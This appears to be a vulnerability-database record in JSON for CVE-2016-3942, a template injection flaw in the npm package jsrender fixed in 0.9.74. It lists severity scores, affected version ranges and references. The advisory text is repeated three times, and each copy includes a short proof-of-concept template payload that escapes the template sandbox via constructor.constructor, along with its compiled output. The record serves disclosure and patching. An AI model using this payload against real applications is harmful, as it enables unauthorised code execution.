{"id":"CVE-2016-3942","aliases":["GHSA-r87w-47m8-22w3"],"status":"published","title":"Template Injection in jsrender","description":"Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.","severity":{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2020-09-01T15:24:24Z","modified":"2023-11-08T03:58:27Z","fixes":[{"ecosystem":"npm","package":"jsrender","fixed_in":["0.9.74"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"jsrender","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.9.73"},{"fixed":"0.9.74"}]}]},{"source":"osv","ecosystem":"npm","package":"jsrender","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.74"}]}]}],"references":[{"url":"https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6","tags":["web"]},{"url":"https://www.npmjs.com/advisories/97","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-3942","tags":["advisory"]},{"url":"https://snyk.io/vuln/SNYK-DOTNET-JSRENDER-60173","tags":["web"]},{"url":"https://github.com/advisories/GHSA-r87w-47m8-22w3"},{"url":"https://github.com/BorisMoore/jsrender","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-r87w-47m8-22w3","title":"Template Injection in jsrender","description":"Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.","status":"published","published":"2020-09-01T15:24:24Z","modified":"2023-09-07T20:41:27Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:03.287418Z"}],"osv":[{"id":"GHSA-r87w-47m8-22w3","title":"Template Injection in jsrender","description":"Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.","status":"published","published":"2020-09-01T15:24:24Z","modified":"2023-11-08T03:58:27.633161Z","cvss":[{"version":"3.1","score":6.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:55.480549Z"}]}}